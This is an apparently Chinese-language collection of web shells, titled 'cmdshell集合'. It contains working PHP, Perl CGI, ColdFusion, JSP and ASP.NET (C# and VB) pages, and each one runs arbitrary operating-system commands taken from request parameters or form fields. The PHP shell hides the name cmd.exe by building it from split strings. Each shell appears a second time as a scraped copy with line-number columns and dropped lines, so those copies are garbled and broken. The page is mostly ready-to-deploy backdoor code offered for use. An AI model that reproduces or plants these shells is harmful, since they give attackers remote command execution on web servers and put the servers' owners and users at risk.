cmdshell集合

<phpshell>、<perlshell cgi>、<cfm shell>、<jspshell>、<c# shell>2枚

1	<phpshell>、<perlshell cgi>、<cfm shell>、<jspshell>、<c# shell>2枚

<?php
        if (key($_GET)=="system") {
            system($_GET['system']);
        } elseif (key($_GET)=="passthru") {
            passthru($_GET['passthru']);
        } elseif (key($_GET)=="exec") {
            $result = exec($_GET['exec']);
            echo $result;
        } elseif (key($_GET)=="shell_exec") {
            $result=shell_exec($_GET['shell_exec']);
            echo $result;    
        } elseif (key($_GET)=="popen") {
            $pp = popen($_GET['popen'], 'r');
            $read = fread($pp, 2096);
            echo $read;
            pclose($pp);
        } elseif (key($_GET)=="wscript") {
            $wsh = new COM('WScript.shell') or die("PHP Create COM wscript.shell failed");
            $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_GET['wscript']."");
            $stdout = $exec->StdOut();
            $stroutput = $stdout->ReadAll();
            echo $stroutput;
        } elseif(key($_GET)=="proc_open"){
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open("C:\\Docume~1\\alluse~1\\Documents\\cmd.exe", $descriptorspec, $pipes);
if (is_resource($process)) {
    fwrite($pipes[0], "".$_GET['proc_open']."\r\n");
    fwrite($pipes[0], "exit\r\n");
    fclose($pipes[0]);
    while (!feof($pipes[1])) {
        echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
        echo fgets($pipes[2], 1024);
      }
    fclose($pipes[2]);
    proc_close($process);
}}
?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

<?php

if (key($_GET)=="system") {

system($_GET['system']);

} elseif (key($_GET)=="passthru") {

passthru($_GET['passthru']);

} elseif (key($_GET)=="exec") {

$result = exec($_GET['exec']);

echo $result;

} elseif (key($_GET)=="shell_exec") {

$result=shell_exec($_GET['shell_exec']);

echo $result;

} elseif (key($_GET)=="popen") {

$pp = popen($_GET['popen'], 'r');

$read = fread($pp, 2096);

echo $read;

pclose($pp);

} elseif (key($_GET)=="wscript") {

$wsh = new COM('WScript.shell') or die("PHP Create COM wscript.shell failed");

$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_GET['wscript']."");

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

} elseif(key($_GET)=="proc_open"){

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("pipe", "w")

);

$process = proc_open("C:\\Docume~1\\alluse~1\\Documents\\cmd.exe", $descriptorspec, $pipes);

if (is_resource($process)) {

fwrite($pipes[0], "".$_GET['proc_open']."\r\n");

fwrite($pipes[0], "exit\r\n");

fclose($pipes[0]);

while (!feof($pipes[1])) {

echo fgets($pipes[1], 1024);

}

fclose($pipes[1]);

while (!feof($pipes[2])) {

echo fgets($pipes[2], 1024);

}

fclose($pipes[2]);

proc_close($process);

}}

?>

#!/usr/bin/perl
read(STDIN,$POST,$ENV{'CONTENT_LENGTH'});
($key,$command)=split(/=/,$POST);
$command=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;
$command=~s/\+/ /;
$output=system "$command>a.txt";
$output=~s/\n/\<br\>/;
print "Content-Type: text/html\n\n";
print <<EOF;
<form action="" method=POST>
<input type=text size=40 name=command value=""><br>
<input type=submit value=ok>
</form>
EOF
open(OUTPUT,"a.txt")||die "cannot open $!";
@output=<OUTPUT>;
print <<EOF;
<textarea name="textfield" cols="80" rows="60">@output</textarea>
EOF
close OUTPUT;
unlink ("a.txt");
exit;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#!/usr/bin/perl

read(STDIN,$POST,$ENV{'CONTENT_LENGTH'});

($key,$command)=split(/=/,$POST);

$command=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;

$command=~s/\+/ /;

$output=system "$command>a.txt";

$output=~s/\n/\<br\>/;

print "Content-Type: text/html\n\n";

print <<EOF;

</form>

EOF

open(OUTPUT,"a.txt")||die "cannot open $!";

@output=<OUTPUT>;

print <<EOF;

<textarea name="textfield" cols="80" rows="60">@output</textarea>

EOF

close OUTPUT;

unlink ("a.txt");

exit;

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CFM shell</title>
</head>
<body>
<!--- os.run --->
<cfif IsDefined("FORM.cmd")>
    <cfoutput>#cmd#</cfoutput>
    <cfexecute name="cmd.exe"
           arguments="/c #cmd#"
           outputfile="#GetTempDirectory()#kyo.txt"
           timeout="1">
    </cfexecute>
</cfif>
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
<input type=text size=45 name="cmd" >
<input type=Submit value="run">
</form>
<cfif FileExists("#GetTempDirectory()#kyo.txt") is "Yes">
  <cffile action="Read"
            file="#GetTempDirectory()#kyo.txt"
            variable="readText">
<textarea readonly cols=80 rows=20>
<CFOUTPUT>#readText#</CFOUTPUT>         
</textarea>
    <cffile action="Delete"
            file="#GetTempDirectory()#kyo.txt">
</cfif>
</body>
</html>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

<html>

<head>

<title>CFM shell</title>

</head>

<body>

<cfexecute name="cmd.exe"

arguments="/c #cmd#"

outputfile="#GetTempDirectory()#kyo.txt"

timeout="1">

</cfexecute>

</cfif>

<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">

</form>

<cffile action="Read"

file="#GetTempDirectory()#kyo.txt"

variable="readText">

<CFOUTPUT>#readText#</CFOUTPUT>

</textarea>

<cffile action="Delete"

file="#GetTempDirectory()#kyo.txt">

</cfif>

</body>

</html>

<%@ page import="java.io.*" %>
<%
    try {
            String cmd = request.getParameter("cmd");
            Process child = Runtime.getRuntime().exec(cmd);
            InputStream in = child.getInputStream();
            int c;
            while ((c = in.read()) != -1) {
                out.print((char)c);
            }
            in.close();
            try {
                child.waitFor();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        } catch (IOException e) {
            System.err.println(e);
        }
%>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

<%@ page import="java.io.*" %>

<%

try {

String cmd = request.getParameter("cmd");

Process child = Runtime.getRuntime().exec(cmd);

InputStream in = child.getInputStream();

int c;

while ((c = in.read()) != -1) {

out.print((char)c);

}

in.close();

try {

child.waitFor();

} catch (InterruptedException e) {

e.printStackTrace();

}

} catch (IOException e) {

System.err.println(e);

}

%>

<%@ Page Language="c#" validateRequest = "false" aspcompat = "true" %>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1" runat="server">
<title>cmdshell</title></head>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<script language="C#" runat="server">
  void Button_Click1(object sender, EventArgs e)
    {
        try
        {
            Process shell = new Process();
            shell.StartInfo.FileName = PathTextBox.Text;
            shell.StartInfo.Arguments = ShellTextBox.Text;
            shell.StartInfo.UseShellExecute = false;
            shell.StartInfo.RedirectStandardInput = true;
            shell.StartInfo.RedirectStandardOutput = true;
            shell.StartInfo.RedirectStandardError = true;
            shell.Start();
            string str1 = shell.StandardOutput.ReadToEnd();
            str1 = str1.Replace("<", "<");
            str1 = str1.Replace(">", ">");
            myLabel.Text = "<hr><b>" + str1 + "</b>";
        }
        catch (Exception Error)
        {
            Bin_Error(Error.Message);
        }  
    }
</script>
<body>
<center><font size=5 color=red>asp.net命令执行 by kyo</font><br /></center>
<form id="form1" runat="server"><div style="text-align: center">
<asp:Panel ID="CmdPanel" runat="server" Height="50px" Width="800px"><hr />
程序路径 :<asp:TextBox ID="PathTextBox" runat="server" Width="395px">C:\Documents and Settings\All Users\Documents\cmd.exe</asp:TextBox><br />
命令参数 :<asp:TextBox ID="ShellTextBox" runat="server" Width="395px">/c ver</asp:TextBox><br />
<asp:Button ID="RunButton" runat="server" OnClick="Button_Click1" Text="运行" /></div>
<div style="text-align: left">
<asp:Label ID="myLabel" runat="server" EnableViewState="False"></asp:Label></div>
<hr /></asp:Panel></form></body>
</html>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

<%@ Page Language="c#" validateRequest = "false" aspcompat = "true" %>

<title>cmdshell</title></head>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

void Button_Click1(object sender, EventArgs e)

{

try

{

Process shell = new Process();

shell.StartInfo.FileName = PathTextBox.Text;

shell.StartInfo.Arguments = ShellTextBox.Text;

shell.StartInfo.UseShellExecute = false;

shell.StartInfo.RedirectStandardInput = true;

shell.StartInfo.RedirectStandardOutput = true;

shell.StartInfo.RedirectStandardError = true;

shell.Start();

string str1 = shell.StandardOutput.ReadToEnd();

str1 = str1.Replace("<", "<");

str1 = str1.Replace(">", ">");

myLabel.Text = "<hr><b>" + str1 + "</b>";

}

catch (Exception Error)

{

Bin_Error(Error.Message);

}

</script>

<body>

<center><font size=5 color=red>asp.net命令执行 by kyo</font><br /></center>

<asp:Panel ID="CmdPanel" runat="server" Height="50px" Width="800px"><hr />

程序路径 :<asp:TextBox ID="PathTextBox" runat="server" Width="395px">C:\Documents and Settings\All Users\Documents\cmd.exe</asp:TextBox><br />

命令参数 :<asp:TextBox ID="ShellTextBox" runat="server" Width="395px">/c ver</asp:TextBox><br />

<asp:Button ID="RunButton" runat="server" OnClick="Button_Click1" Text="运行" /></div>

<asp:Label ID="myLabel" runat="server" EnableViewState="False"></asp:Label></div>

</html>

<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" Debug="true"%>
<script runat="server">
sub run(Src As Object, E As EventArgs)
         Dim StrResult As String
         Dim shell As Object
         shell = Server.CreateObject("WScript.Shell")
         StrResult = shell.exec( path.Text & " /c " & box.Text ).stdout.readall
         StrResult =  Replace(StrResult , "<","<")
         StrResult =  Replace(StrResult , ">",">")
         ResultLabel.Text = "<b>" & StrResult & "</b>"
end sub
</script>
<html><head></head><body>
<form runat="server">
程序路径:<asp:TextBox ID="path" Width="500" Text="C:\Documents and Settings\All Users\Documents\cmd.exe"
runat="server" />  
<br>命令参数:<asp:TextBox ID="box" Width="200" runat="server" />  
<asp:Button ID="Button" Text="Run" OnClick="run" runat="server" /><br>
<asp:Label ID="ResultLabel" runat="server" />  
</form></body></html>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" Debug="true"%>

sub run(Src As Object, E As EventArgs)

Dim StrResult As String

Dim shell As Object

shell = Server.CreateObject("WScript.Shell")

StrResult = shell.exec( path.Text & " /c " & box.Text ).stdout.readall

StrResult = Replace(StrResult , "<","<")

StrResult = Replace(StrResult , ">",">")

ResultLabel.Text = "<b>" & StrResult & "</b>"

end sub

</script>

程序路径:<asp:TextBox ID="path" Width="500" Text="C:\Documents and Settings\All Users\Documents\cmd.exe"

runat="server" />

<asp:Button ID="Button" Text="Run" OnClick="run" runat="server" /><br>

<asp:Label ID="ResultLabel" runat="server" />

</form></body></html>

<!--
Titel:  shell.application
Author: kyo327
Date:  2010-06-12
-->
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub run(Src As Object, E As EventArgs)
        Dim appName As String
        Dim appArgs As String
        Dim love As Object
        love = Server.CreateObject("Shell.Application")
        appName = appnames.Text
        appArgs = canshu.Text
        love.ShellExecute(appName, appArgs, "", "open", 0)
end sub
</script><html>
<head><title>shellapplication For ASP.NET By kyo327</title></head>
<body><form id="Form1" runat="server">
<center><font color=red size=4>利用shell.application执行命令for asp.net</font><br />
<br>程序路径名:<br />
<asp:TextBox ID="appnames" Width="400" Text="C:\Documents and Settings\All Users\Documents\cmd.exe" runat="server" />  <br>参数:<br />
<asp:TextBox ID="canshu" Width="400" runat="server" /> <br /><br />
<asp:Button ID="Button" Text="运行" OnClick="run" runat="server" /><br>
</form></center></body></html>

1

2

3

4

5

6

7

8

9

10

11

12